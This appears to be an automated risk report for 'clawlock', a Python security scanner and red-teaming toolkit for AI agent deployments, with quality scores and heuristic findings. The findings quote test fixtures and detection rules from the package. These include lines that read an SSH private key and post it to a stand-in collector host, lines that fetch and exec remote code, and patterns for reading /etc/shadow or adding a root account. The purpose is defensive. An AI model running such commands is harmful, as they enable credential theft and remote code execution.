clawlock

v2.6.1 suspicious
4.4
Medium Risk

Comprehensive security scanner, red-teamer & hardening toolkit for Claw-based AI agent deployments

📦 Package Quality Overall: Low (4.8/10)

✦ High Test Suite 9.0

Test suite present — 27 test file(s) found

  • 27 test file(s) detected (e.g. test_agent_detection_v2.py)
◈ Medium Documentation 5.0

Some documentation present

  • Detailed PyPI description (16962 chars)
○ Low Contributing Guide 4.0

No contributing guide or governance files found

  • Development Status classifier >= Beta
◈ Medium Type Annotations 5.0

Partial type annotation coverage

  • 600 type-annotated function signatures detected in source
○ Low Multiple Contributors 1.0

Could not retrieve contributor data from GitHub

  • GitHub API error: 401

🔬 Heuristic Checks

⚠ Outbound Network Calls score 9.0

Found 6 network call pattern(s)

  • rs = ("requests.", "httpx.", "urllib.request.", "aiohttp.", "socket.") if any(marker in lowered for m
  • _rsa").read()\n' 'requests.post("https://collector.example/upload", data=secret)\n'
  • _rsa").read()\n' 'requests.post("https://metrics.example", json={"status": "ok"})\n'
  • ties( text='payload = requests.get("https://status.example"); exec("print(1)")\n', loca
  • ( 'payload = requests.get("https://cdn.example/tool.py").text\nexec(payload)\n',
  • E_API_TOKEN')\n" " requests.post('https://example.invalid', data=api_token)\n", encod
⚠ Code Obfuscation score 10.0

Found 6 obfuscation pattern(s)

  • turn payload, False raw = base64.b64decode(str(payload["payload"]), validate=True) statement = json
  • "\\beval\\s*\\(", INFO, t("使用 eval()", "eval() usage"), t("动态代码执行。", "Dynamic code execution.")
  • s*\\(", INFO, t("使用 eval()", "eval() usage"), t("动态代码执行。", "Dynamic code execution.")), ("
  • de other expressions — e.g. ``eval("…")`` or ``f"{x}"`` on the same line as a call — are i
  • "m.py").write_text("result = eval(user_input)") from clawlock.scanners import scan_ski
  • n' ' Never use eval() on tool_input; see SECURITY.md for the rationale.\n'
⚠ Shell / Subprocess Execution score 10.0

Found 6 shell execution pattern(s)

  • INFO, t("调用 os.system()", "os.system() invocation"), t("通过 os.system 执行 s
  • t("调用 os.system()", "os.system() invocation"), t("通过 os.system 执行 shell 命令。", "She
  • rs — i.e. ``def execute(cmd): os.system(cmd)`` makes any # caller passing tainted data on po
  • e_capabilities( text='os.system("date")\n', location="tool.py", declared=[] ) declar
  • e_capabilities( text='os.system("date")\n', location="tool.py", declared=["shell"] )
  • = analyze_capabilities(text='os.system("date")\n', location="tool.py") explicit_empty = analyze
⚠ Credential Harvesting score 10.0

Found 6 credential access pattern(s)

  • _keys|ld\.so\.preload|" r"/etc/passwd|\beval\b|\bexec\b|deserialize|unserialize|jsonpickle|"
  • "(?i)open\\([\"\\'](?:/etc/passwd|/etc/shadow|~[/\\\\]\\.ssh[/\\\\]|~[/\\\\]\\.aws[/\\\\]cred
  • )open\\([\"\\'](?:/etc/passwd|/etc/shadow|~[/\\\\]\\.ssh[/\\\\]|~[/\\\\]\\.aws[/\\\\]credentials|[A-Z
  • echo\s+[^\n]*:0:0:[^\n]*>>?\s*/etc/passwd\b", HIGH, t("向 /etc/passwd 添加 UID 0 账户", "A
  • ", HIGH, t("向 /etc/passwd 添加 UID 0 账户", "Adds a UID-0 account to /etc/passwd"),
  • 账户", "Adds a UID-0 account to /etc/passwd"), t("向账户数据库追加 root 等价后门账户。", "Appends a root-equiv
✓ Typosquatting

No typosquatting candidates detected

✓ Registered Email Domain

No author email provided

✓ Suspicious Page Links

All external links appear legitimate

⚠ Git Repository History score 3.0

GitHub API error: 401

  • GitHub API error: 401
⚠ Maintainer History score 2.0

1 maintainer concern(s) found

  • Author "g0at" appears to have only 1 package on PyPI (new or inactive account)
✓ Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with clawlock
Build a simple Python application using the clawlock package to demonstrate its core features.

💬 Discussion Feed

Leave a comment

No discussion yet. Be the first to share your thoughts!